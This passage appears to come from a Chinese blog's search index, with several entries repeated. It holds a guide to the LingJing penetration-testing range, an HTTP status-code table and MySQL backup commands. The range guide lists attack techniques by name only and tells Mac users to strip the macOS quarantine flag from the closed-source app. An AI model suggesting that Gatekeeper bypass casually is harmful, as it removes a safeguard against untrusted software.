平台的靶场资源丰富多样，涵盖开源靶场靶机以及本平台后续上线的原创靶机。（正在尝试创新设计一种打靶模式：以 2D RTS 游戏风格实现互联网侧和近源渗透实景模拟，为用户带来全新的训练体验（如蒙支持，将为创作提供持续动力））。这些靶场资源覆盖广泛的安全技术方向，满足教育教学、专业培训与实战演练的需求，包括但不仅限于： Web 安全测试：涵盖 SQL 注入（包括盲注、报错注入、联合查询）、跨站脚本（XSS）、文件上传漏洞、CSRF、命令执行、信息泄露等常见攻击面； 内网渗透与域环境攻击：支持多层网络与域控环境部署，适用于横向移动、权限提升、Kerberos 票据滥用、NTLM 中继、域信任攻击等高阶内网技术； 中间件与框架漏洞复现：包括 Apache、Nginx、Tomcat、Struts2、Spring 等主流组件的漏洞验证与环境搭建； Java 应用安全：集成 Java Web 漏洞、反序列化链分析、安全编码误区等内容； 业务逻辑与客户端安全：适用于身份认证绕过、权限控制缺陷、弱加密机制等漏洞的演练和教学； 红队攻防与实战演练：支持多跳通信、端口转发、代理链、隧道技术等对抗场景的战术部署与验证。 平台特点： 高效部署：靶机环境可通过平台一键下载、免配置安装，实现高效部署，大大节省时间和精力。 秒级启动：单靶机启动时间在 5 至 30 秒（域环境——域成员和域控启动后需要时间建立通信，因此启动速度相对较慢），具体耗时与物理机性能密切相关。 严格网络控制：靶机通信由平台内部路由进行严格控制，禁止出网访问，保障网络环境的安全与稳定。 在线更新功能：平台具备在线更新功能，可及时同步最新版本，确保用户始终使用最新功能和安全修复。 轻量级镜像：镜像压缩体积更小，节省存储空间，便于快速下载和部署。 高速下载：靶机镜像采用云端分布式多节点部署，支持断点续传高速下载，进一步提升用户体验。 LingJing平台旨在提升跨架构兼容性、提供丰富的靶场资源以及灵活的配置能力，为网络安全学习者和从业者提供一个高效、真实的实战训练环境，助力每一位用户在网络安全领域快速成长。 注：因涉及用户本地与云端靶机镜像下载，为保障用户侧和服务端安全性，平台项目代码暂不开源。如有需求，平台相关技术的实现可在脱敏前提下进行讨论分享。 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:1:0","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#简介"},{"categories":["security"],"collections":null,"content":"平台下载安装LingJing ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:2:0","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#平台下载安装lingjing"},{"categories":["security"],"collections":null,"content":"平台已适的配物理机系统 MacOS (Arm64)：已兼容基于M1、M2 和 M4 芯片的 Mac 设备，M3芯片暂未测试。 Windows (AMD64)：支持 Windows 10 和 Windows 11 系统，为 Windows 用户提供了稳定的运行环境。Windows 7 不在支持范围内，服务器版本尚未进行测试。 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:2:1","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#平台已适的配物理机系统"},{"categories":["security"],"collections":null,"content":"下载安装 Mac 把app移动到应用程序内，在其他路径下运行可能会出错。 遇到【 \u0026ldquo;LingJing”已损坏，无法打开。你应该将它移到废纸篓。】报错时，执行以下令： sudo xattr -rd com.apple.quarantine /Applications/LingJing.app 安装依赖： brew install capstone gnutls pixman jpeg-turbo snappy lzo dtc glib zstd libslirp vde ncurses libusb libssh libpng Windows 下载解压后将LingJing文件夹放置于合适的盘符位置即可（PS:避开中文目录，否则路由可能无法启动）。 初次安装需要管理员授权安装网卡。 这里第一次打开的时候建议使用管理员启动，否则安装网卡的时候可能会提示权限问题 网卡安装成功会弹出是否重启物理机对话框(若不重启，当联动外部虚拟机软件时，可能无法找到LingJing网卡)，重启后会看到一张名为LingJing的tap网卡，且路由状态为非红色(若网卡安装成功，但路由状态为红色，则需要尝试重启路由)。 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:2:2","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#下载安装"},{"categories":["security"],"collections":null,"content":"下载安装 Mac 把app移动到应用程序内，在其他路径下运行可能会出错。 遇到【 \u0026ldquo;LingJing”已损坏，无法打开。你应该将它移到废纸篓。】报错时，执行以下令： sudo xattr -rd com.apple.quarantine /Applications/LingJing.app 安装依赖： brew install capstone gnutls pixman jpeg-turbo snappy lzo dtc glib zstd libslirp vde ncurses libusb libssh libpng Windows 下载解压后将LingJing文件夹放置于合适的盘符位置即可（PS:避开中文目录，否则路由可能无法启动）。 初次安装需要管理员授权安装网卡。 这里第一次打开的时候建议使用管理员启动，否则安装网卡的时候可能会提示权限问题 网卡安装成功会弹出是否重启物理机对话框(若不重启，当联动外部虚拟机软件时，可能无法找到LingJing网卡)，重启后会看到一张名为LingJing的tap网卡，且路由状态为非红色(若网卡安装成功，但路由状态为红色，则需要尝试重启路由)。 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:2:2","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#mac"},{"categories":["security"],"collections":null,"content":"下载安装 Mac 把app移动到应用程序内，在其他路径下运行可能会出错。 遇到【 \u0026ldquo;LingJing”已损坏，无法打开。你应该将它移到废纸篓。】报错时，执行以下令： sudo xattr -rd com.apple.quarantine /Applications/LingJing.app 安装依赖： brew install capstone gnutls pixman jpeg-turbo snappy lzo dtc glib zstd libslirp vde ncurses libusb libssh libpng Windows 下载解压后将LingJing文件夹放置于合适的盘符位置即可（PS:避开中文目录，否则路由可能无法启动）。 初次安装需要管理员授权安装网卡。 这里第一次打开的时候建议使用管理员启动，否则安装网卡的时候可能会提示权限问题 网卡安装成功会弹出是否重启物理机对话框(若不重启，当联动外部虚拟机软件时，可能无法找到LingJing网卡)，重启后会看到一张名为LingJing的tap网卡，且路由状态为非红色(若网卡安装成功，但路由状态为红色，则需要尝试重启路由)。 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:2:2","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#windows"},{"categories":["security"],"collections":null,"content":"功能介绍 从左上角开始，分别是首页、Attacker 攻击机（开发中）、靶机、灵眼（流量分析） 右上角则是平台相关的一些功能，分别是公告、运行中的靶机、下载、和一个未知的图标（可能在开发中） 首页 首页主要有更新检查、教程查看、和一个平台的拓扑示意图 更新功能 教程 Attacker（攻击机） 开发中…… 靶机 下载前 下载后 左侧的侧栏有两个，第一个是靶场项目的名称，第二个是具体的靶场，比如 VulnStack 红日靶场 系列，第一个靶场honri1。 右侧显示的是一个靶场的缩略图 缩略图的坐上角和右上角有一个按钮，左上角可以从外部导入靶场，在线下载缓慢时可以从百度网盘下载进行导入。 右上角的按钮时打开靶机文件所在的文件夹，如果没有下载靶场，文件夹里面是空的。 下载靶场后可以看到删除、停止、启动的按钮下方是靶机描述。 灵眼 灵眼是LingJing平台的一个流量模块，目前有全流量分析和安全态势(待更新)两个子模块目前只有全流浪分析功能可以使用 流量分析功能的过滤器可以对源IP、目的IP、端口、协议、状态码（TCP/IP状态码）、Paylaod（数据包）、起始时间、结束时间的过滤。 双击一条记录可以打开具体的数据包，可以看到可以看到具体内容，paylaod是正常看到的数据，hex(paylaod)和原始(payload)都有对应的16进制进行对照。 公告 这个模块目前显示的是平台的一些更新内容 运行 这个模块目前显示的是当前运行的靶场以及之前运行的一些记录 定位功能可以将当前靶机界面定位到运行中的靶机 下载 这里显示下载中的靶机 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:3:0","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#功能介绍"},{"categories":["security"],"collections":null,"content":"功能介绍 从左上角开始，分别是首页、Attacker 攻击机（开发中）、靶机、灵眼（流量分析） 右上角则是平台相关的一些功能，分别是公告、运行中的靶机、下载、和一个未知的图标（可能在开发中） 首页 首页主要有更新检查、教程查看、和一个平台的拓扑示意图 更新功能 教程 Attacker（攻击机） 开发中…… 靶机 下载前 下载后 左侧的侧栏有两个，第一个是靶场项目的名称，第二个是具体的靶场，比如 VulnStack 红日靶场 系列，第一个靶场honri1。 右侧显示的是一个靶场的缩略图 缩略图的坐上角和右上角有一个按钮，左上角可以从外部导入靶场，在线下载缓慢时可以从百度网盘下载进行导入。 右上角的按钮时打开靶机文件所在的文件夹，如果没有下载靶场，文件夹里面是空的。 下载靶场后可以看到删除、停止、启动的按钮下方是靶机描述。 灵眼 灵眼是LingJing平台的一个流量模块，目前有全流量分析和安全态势(待更新)两个子模块目前只有全流浪分析功能可以使用 流量分析功能的过滤器可以对源IP、目的IP、端口、协议、状态码（TCP/IP状态码）、Paylaod（数据包）、起始时间、结束时间的过滤。 双击一条记录可以打开具体的数据包，可以看到可以看到具体内容，paylaod是正常看到的数据，hex(paylaod)和原始(payload)都有对应的16进制进行对照。 公告 这个模块目前显示的是平台的一些更新内容 运行 这个模块目前显示的是当前运行的靶场以及之前运行的一些记录 定位功能可以将当前靶机界面定位到运行中的靶机 下载 这里显示下载中的靶机 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:3:0","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#首页"},{"categories":["security"],"collections":null,"content":"功能介绍 从左上角开始，分别是首页、Attacker 攻击机（开发中）、靶机、灵眼（流量分析） 右上角则是平台相关的一些功能，分别是公告、运行中的靶机、下载、和一个未知的图标（可能在开发中） 首页 首页主要有更新检查、教程查看、和一个平台的拓扑示意图 更新功能 教程 Attacker（攻击机） 开发中…… 靶机 下载前 下载后 左侧的侧栏有两个，第一个是靶场项目的名称，第二个是具体的靶场，比如 VulnStack 红日靶场 系列，第一个靶场honri1。 右侧显示的是一个靶场的缩略图 缩略图的坐上角和右上角有一个按钮，左上角可以从外部导入靶场，在线下载缓慢时可以从百度网盘下载进行导入。 右上角的按钮时打开靶机文件所在的文件夹，如果没有下载靶场，文件夹里面是空的。 下载靶场后可以看到删除、停止、启动的按钮下方是靶机描述。 灵眼 灵眼是LingJing平台的一个流量模块，目前有全流量分析和安全态势(待更新)两个子模块目前只有全流浪分析功能可以使用 流量分析功能的过滤器可以对源IP、目的IP、端口、协议、状态码（TCP/IP状态码）、Paylaod（数据包）、起始时间、结束时间的过滤。 双击一条记录可以打开具体的数据包，可以看到可以看到具体内容，paylaod是正常看到的数据，hex(paylaod)和原始(payload)都有对应的16进制进行对照。 公告 这个模块目前显示的是平台的一些更新内容 运行 这个模块目前显示的是当前运行的靶场以及之前运行的一些记录 定位功能可以将当前靶机界面定位到运行中的靶机 下载 这里显示下载中的靶机 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:3:0","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#attacker攻击机"},{"categories":["security"],"collections":null,"content":"功能介绍 从左上角开始，分别是首页、Attacker 攻击机（开发中）、靶机、灵眼（流量分析） 右上角则是平台相关的一些功能，分别是公告、运行中的靶机、下载、和一个未知的图标（可能在开发中） 首页 首页主要有更新检查、教程查看、和一个平台的拓扑示意图 更新功能 教程 Attacker（攻击机） 开发中…… 靶机 下载前 下载后 左侧的侧栏有两个，第一个是靶场项目的名称，第二个是具体的靶场，比如 VulnStack 红日靶场 系列，第一个靶场honri1。 右侧显示的是一个靶场的缩略图 缩略图的坐上角和右上角有一个按钮，左上角可以从外部导入靶场，在线下载缓慢时可以从百度网盘下载进行导入。 右上角的按钮时打开靶机文件所在的文件夹，如果没有下载靶场，文件夹里面是空的。 下载靶场后可以看到删除、停止、启动的按钮下方是靶机描述。 灵眼 灵眼是LingJing平台的一个流量模块，目前有全流量分析和安全态势(待更新)两个子模块目前只有全流浪分析功能可以使用 流量分析功能的过滤器可以对源IP、目的IP、端口、协议、状态码（TCP/IP状态码）、Paylaod（数据包）、起始时间、结束时间的过滤。 双击一条记录可以打开具体的数据包，可以看到可以看到具体内容，paylaod是正常看到的数据，hex(paylaod)和原始(payload)都有对应的16进制进行对照。 公告 这个模块目前显示的是平台的一些更新内容 运行 这个模块目前显示的是当前运行的靶场以及之前运行的一些记录 定位功能可以将当前靶机界面定位到运行中的靶机 下载 这里显示下载中的靶机 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:3:0","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#靶机"},{"categories":["security"],"collections":null,"content":"功能介绍 从左上角开始，分别是首页、Attacker 攻击机（开发中）、靶机、灵眼（流量分析） 右上角则是平台相关的一些功能，分别是公告、运行中的靶机、下载、和一个未知的图标（可能在开发中） 首页 首页主要有更新检查、教程查看、和一个平台的拓扑示意图 更新功能 教程 Attacker（攻击机） 开发中…… 靶机 下载前 下载后 左侧的侧栏有两个，第一个是靶场项目的名称，第二个是具体的靶场，比如 VulnStack 红日靶场 系列，第一个靶场honri1。 右侧显示的是一个靶场的缩略图 缩略图的坐上角和右上角有一个按钮，左上角可以从外部导入靶场，在线下载缓慢时可以从百度网盘下载进行导入。 右上角的按钮时打开靶机文件所在的文件夹，如果没有下载靶场，文件夹里面是空的。 下载靶场后可以看到删除、停止、启动的按钮下方是靶机描述。 灵眼 灵眼是LingJing平台的一个流量模块，目前有全流量分析和安全态势(待更新)两个子模块目前只有全流浪分析功能可以使用 流量分析功能的过滤器可以对源IP、目的IP、端口、协议、状态码（TCP/IP状态码）、Paylaod（数据包）、起始时间、结束时间的过滤。 双击一条记录可以打开具体的数据包，可以看到可以看到具体内容，paylaod是正常看到的数据，hex(paylaod)和原始(payload)都有对应的16进制进行对照。 公告 这个模块目前显示的是平台的一些更新内容 运行 这个模块目前显示的是当前运行的靶场以及之前运行的一些记录 定位功能可以将当前靶机界面定位到运行中的靶机 下载 这里显示下载中的靶机 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:3:0","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#灵眼"},{"categories":["security"],"collections":null,"content":"功能介绍 从左上角开始，分别是首页、Attacker 攻击机（开发中）、靶机、灵眼（流量分析） 右上角则是平台相关的一些功能，分别是公告、运行中的靶机、下载、和一个未知的图标（可能在开发中） 首页 首页主要有更新检查、教程查看、和一个平台的拓扑示意图 更新功能 教程 Attacker（攻击机） 开发中…… 靶机 下载前 下载后 左侧的侧栏有两个，第一个是靶场项目的名称，第二个是具体的靶场，比如 VulnStack 红日靶场 系列，第一个靶场honri1。 右侧显示的是一个靶场的缩略图 缩略图的坐上角和右上角有一个按钮，左上角可以从外部导入靶场，在线下载缓慢时可以从百度网盘下载进行导入。 右上角的按钮时打开靶机文件所在的文件夹，如果没有下载靶场，文件夹里面是空的。 下载靶场后可以看到删除、停止、启动的按钮下方是靶机描述。 灵眼 灵眼是LingJing平台的一个流量模块，目前有全流量分析和安全态势(待更新)两个子模块目前只有全流浪分析功能可以使用 流量分析功能的过滤器可以对源IP、目的IP、端口、协议、状态码（TCP/IP状态码）、Paylaod（数据包）、起始时间、结束时间的过滤。 双击一条记录可以打开具体的数据包，可以看到可以看到具体内容，paylaod是正常看到的数据，hex(paylaod)和原始(payload)都有对应的16进制进行对照。 公告 这个模块目前显示的是平台的一些更新内容 运行 这个模块目前显示的是当前运行的靶场以及之前运行的一些记录 定位功能可以将当前靶机界面定位到运行中的靶机 下载 这里显示下载中的靶机 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:3:0","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#公告"},{"categories":["security"],"collections":null,"content":"功能介绍 从左上角开始，分别是首页、Attacker 攻击机（开发中）、靶机、灵眼（流量分析） 右上角则是平台相关的一些功能，分别是公告、运行中的靶机、下载、和一个未知的图标（可能在开发中） 首页 首页主要有更新检查、教程查看、和一个平台的拓扑示意图 更新功能 教程 Attacker（攻击机） 开发中…… 靶机 下载前 下载后 左侧的侧栏有两个，第一个是靶场项目的名称，第二个是具体的靶场，比如 VulnStack 红日靶场 系列，第一个靶场honri1。 右侧显示的是一个靶场的缩略图 缩略图的坐上角和右上角有一个按钮，左上角可以从外部导入靶场，在线下载缓慢时可以从百度网盘下载进行导入。 右上角的按钮时打开靶机文件所在的文件夹，如果没有下载靶场，文件夹里面是空的。 下载靶场后可以看到删除、停止、启动的按钮下方是靶机描述。 灵眼 灵眼是LingJing平台的一个流量模块，目前有全流量分析和安全态势(待更新)两个子模块目前只有全流浪分析功能可以使用 流量分析功能的过滤器可以对源IP、目的IP、端口、协议、状态码（TCP/IP状态码）、Paylaod（数据包）、起始时间、结束时间的过滤。 双击一条记录可以打开具体的数据包，可以看到可以看到具体内容，paylaod是正常看到的数据，hex(paylaod)和原始(payload)都有对应的16进制进行对照。 公告 这个模块目前显示的是平台的一些更新内容 运行 这个模块目前显示的是当前运行的靶场以及之前运行的一些记录 定位功能可以将当前靶机界面定位到运行中的靶机 下载 这里显示下载中的靶机 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:3:0","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#运行"},{"categories":["security"],"collections":null,"content":"功能介绍 从左上角开始，分别是首页、Attacker 攻击机（开发中）、靶机、灵眼（流量分析） 右上角则是平台相关的一些功能，分别是公告、运行中的靶机、下载、和一个未知的图标（可能在开发中） 首页 首页主要有更新检查、教程查看、和一个平台的拓扑示意图 更新功能 教程 Attacker（攻击机） 开发中…… 靶机 下载前 下载后 左侧的侧栏有两个，第一个是靶场项目的名称，第二个是具体的靶场，比如 VulnStack 红日靶场 系列，第一个靶场honri1。 右侧显示的是一个靶场的缩略图 缩略图的坐上角和右上角有一个按钮，左上角可以从外部导入靶场，在线下载缓慢时可以从百度网盘下载进行导入。 右上角的按钮时打开靶机文件所在的文件夹，如果没有下载靶场，文件夹里面是空的。 下载靶场后可以看到删除、停止、启动的按钮下方是靶机描述。 灵眼 灵眼是LingJing平台的一个流量模块，目前有全流量分析和安全态势(待更新)两个子模块目前只有全流浪分析功能可以使用 流量分析功能的过滤器可以对源IP、目的IP、端口、协议、状态码（TCP/IP状态码）、Paylaod（数据包）、起始时间、结束时间的过滤。 双击一条记录可以打开具体的数据包，可以看到可以看到具体内容，paylaod是正常看到的数据，hex(paylaod)和原始(payload)都有对应的16进制进行对照。 公告 这个模块目前显示的是平台的一些更新内容 运行 这个模块目前显示的是当前运行的靶场以及之前运行的一些记录 定位功能可以将当前靶机界面定位到运行中的靶机 下载 这里显示下载中的靶机 ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:3:0","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#下载"},{"categories":["security"],"collections":null,"content":"参考来源 GitHub LingJing项目: https://github.com/414aaj/LingJing 微信 - LingJing（灵境）公测：新一代本地桌面级网络安全靶场平台，一键安装靶机，秒级启动: https://mp.weixin.qq.com/s/Gjy-I7YxpqkHm8wI1r7BSA ","date":"2025-11-16","objectID":"/posts/2025/lingjing-getting-started/:4:0","tags":[],"title":"LingJing(灵境)靶场入门指南","uri":"/posts/2025/lingjing-getting-started/#参考来源"},{"categories":["ops"],"collections":null,"content":"HTTP 状态码速查表：1xx–5xx 的分类含义，以及各状态码的英文名称与中文说明。","date":"2025-11-16","objectID":"/posts/2025/http-status-codes/","tags":["网络协议"],"title":"HTTP 状态码","uri":"/posts/2025/http-status-codes/"},{"categories":["ops"],"collections":null,"content":"HTTP 状态码 ","date":"2025-11-16","objectID":"/posts/2025/http-status-codes/:0:0","tags":["网络协议"],"title":"HTTP 状态码","uri":"/posts/2025/http-status-codes/#http-状态码"},{"categories":["ops"],"collections":null,"content":"分类 分类 分类描述 1** 信息，服务器收到请求，需要请求者继续执行操作 2** 成功，操作被成功接收并处理 3** 重定向，需要进一步的操作以完成请求 4** 客户端错误，请求包含语法错误或无法完成请求 5** 服务器错误，服务器在处理请求的过程中发生了错误 ","date":"2025-11-16","objectID":"/posts/2025/http-status-codes/:1:0","tags":["网络协议"],"title":"HTTP 状态码","uri":"/posts/2025/http-status-codes/#分类"},{"categories":["ops"],"collections":null,"content":"HTTP状态码列表 状态码 状态码英文名称 中文描述 100 Continue 继续。客户端应继续其请求 101 Switching Protocols 切换协议。服务器根据客户端的请求切换协议。只能切换到更高级的协议，例如，切换到HTTP的新版本协议 200 OK 请求成功。一般用于GET与POST请求 201 Created 已创建。成功请求并创建了新的资源 202 Accepted 已接受。已经接受请求，但未处理完成 203 Non-Authoritative Information 非授权信息。请求成功。但返回的meta信息不在原始的服务器，而是一个副本 204 No Content 无内容。服务器成功处理，但未返回内容。在未更新网页的情况下，可确保浏览器继续显示当前文档 205 Reset Content 重置内容。服务器处理成功，用户终端（例如：浏览器）应重置文档视图。可通过此返回码清除浏览器的表单域 206 Partial Content 部分内容。服务器成功处理了部分GET请求 300 Multiple Choices 多种选择。请求的资源可包括多个位置，相应可返回一个资源特征与地址的列表用于用户终端（例如：浏览器）选择 301 Moved Permanently 永久移动。请求的资源已被永久的移动到新URI，返回信息会包括新的URI，浏览器会自动定向到新URI。今后任何新的请求都应使用新的URI代替 302 Found 临时移动。与301类似。但资源只是临时被移动。客户端应继续使用原有URI 303 See Other 查看其它地址。与301类似。使用GET和POST请求查看 304 Not Modified 未修改。所请求的资源未修改，服务器返回此状态码时，不会返回任何资源。客户端通常会缓存访问过的资源，通过提供一个头信息指出客户端希望只返回在指定日期之后修改的资源 305 Use Proxy 使用代理。所请求的资源必须通过代理访问 306 Unused 已经被废弃的HTTP状态码 307 Temporary Redirect 临时重定向。与302类似。使用GET请求重定向 400 Bad Request 客户端请求的语法错误，服务器无法理解 401 Unauthorized 请求要求用户的身份认证 402 Payment Required 保留，将来使用 403 Forbidden 服务器理解请求客户端的请求，但是拒绝执行此请求 404 Not Found 服务器无法根据客户端的请求找到资源（网页）。通过此代码，网站设计人员可设置\u0026quot;您所请求的资源无法找到\u0026quot;的个性页面 405 Method Not Allowed 客户端请求中的方法被禁止 406 Not Acceptable 服务器无法根据客户端请求的内容特性完成请求 407 Proxy Authentication Required 请求要求代理的身份认证，与401类似，但请求者应当使用代理进行授权 408 Request Time-out 服务器等待客户端发送的请求时间过长，超时 409 Conflict 服务器完成客户端的 PUT 请求时可能返回此代码，服务器处理请求时发生了冲突 410 Gone 客户端请求的资源已经不存在。410不同于404，如果资源以前有现在被永久删除了可使用410代码，网站设计人员可通过301代码指定资源的新位置 411 Length Required 服务器无法处理客户端发送的不带Content-Length的请求信息 412 Precondition Failed 客户端请求信息的先决条件错误 413 Request Entity Too Large 由于请求的实体过大，服务器无法处理，因此拒绝请求。为防止客户端的连续请求，服务器可能会关闭连接。如果只是服务器暂时无法处理，则会包含一个Retry-After的响应信息 414 Request-URI Too Large 请求的URI过长（URI通常为网址），服务器无法处理 415 Unsupported Media Type 服务器无法处理请求附带的媒体格式 416 Requested range not satisfiable 客户端请求的范围无效 417 Expectation Failed（预期失败） 服务器无法满足请求头中 Expect 字段指定的预期行为。 418 I\u0026rsquo;m a teapot 状态码 418 实际上是一个愚人节玩笑。它在 RFC 2324 中定义，该 RFC 是一个关于超文本咖啡壶控制协议（HTCPCP）的笑话文件。在这个笑话中，418 状态码是作为一个玩笑加入到 HTTP 协议中的。 500 Internal Server Error 服务器内部错误，无法完成请求 501 Not Implemented 服务器不支持请求的功能，无法完成请求 502 Bad Gateway 作为网关或者代理工作的服务器尝试执行请求时，从远程服务器接收到了一个无效的响应 503 Service Unavailable 由于超载或系统维护，服务器暂时的无法处理客户端的请求。延时的长度可包含在服务器的Retry-After头信息中 504 Gateway Time-out 充当网关或代理的服务器，未及时从远端服务器获取请求 505 HTTP Version not supported 服务器不支持请求的HTTP协议的版本，无法完成处理 ","date":"2025-11-16","objectID":"/posts/2025/http-status-codes/:2:0","tags":["网络协议"],"title":"HTTP 状态码","uri":"/posts/2025/http-status-codes/#http状态码列表"},{"categories":["ops"],"collections":null,"content":"做任何操作前记得备份！！！","date":"2025-11-12","objectID":"/posts/2025/mysql-backup-restore/","tags":[],"title":"MySQL 数据库备份与恢复","uri":"/posts/2025/mysql-backup-restore/"},{"categories":["ops"],"collections":null,"content":"做任何操作前记得备份！！！ ","date":"2025-11-12","objectID":"/posts/2025/mysql-backup-restore/:0:0","tags":[],"title":"MySQL 数据库备份与恢复","uri":"/posts/2025/mysql-backup-restore/#"},{"categories":["ops"],"collections":null,"content":"MySQL 数据库备份与恢复 Mysql数据库冷备，使用 mysqldump 命令进行备份与恢复 ","date":"2025-11-12","objectID":"/posts/2025/mysql-backup-restore/:0:0","tags":[],"title":"MySQL 数据库备份与恢复","uri":"/posts/2025/mysql-backup-restore/#mysql-数据库备份与恢复"},{"categories":["ops"],"collections":null,"content":"备份 全库备份： mysqldump -u root -p --all-databases \u0026gt; all_databases_backup.sql 备份单个数据库 mysqldump -u root -p database_name \u0026gt; database_backup.sql 备份特定表 mysqldump -u root -p database_name table_name \u0026gt; table_backup.sql 备份时增加压缩 mysqldump -u root -p database_name | gzip \u0026gt; database_backup.sql.gz ","date":"2025-11-12","objectID":"/posts/2025/mysql-backup-restore/:1:0","tags":[],"title":"MySQL 数据库备份与恢复","uri":"/posts/2025/mysql-backup-restore/#备份"},{"categories":["ops"],"collections":null,"content":"恢复 恢复全库 mysql -u root -p \u0026lt; all_databases_backup.sql 恢复单个数据库 mysql -u root -p database_name \u0026lt; database_backup.sql 恢复特定表 先在数据库中创建目标表，然后执行： mysql -u root -p database_name \u0026lt; table_backup.sql 恢复压缩的备份 gunzip \u0026lt; database_backup.sql.gz | mysql -u root -p database_name ","date":"2025-11-12","objectID":"/posts/2025/mysql-backup-restore/:2:0","tags":[],"title":"MySQL 数据库备份与恢复","uri":"/posts/2025/mysql-backup-restore/#恢复"}]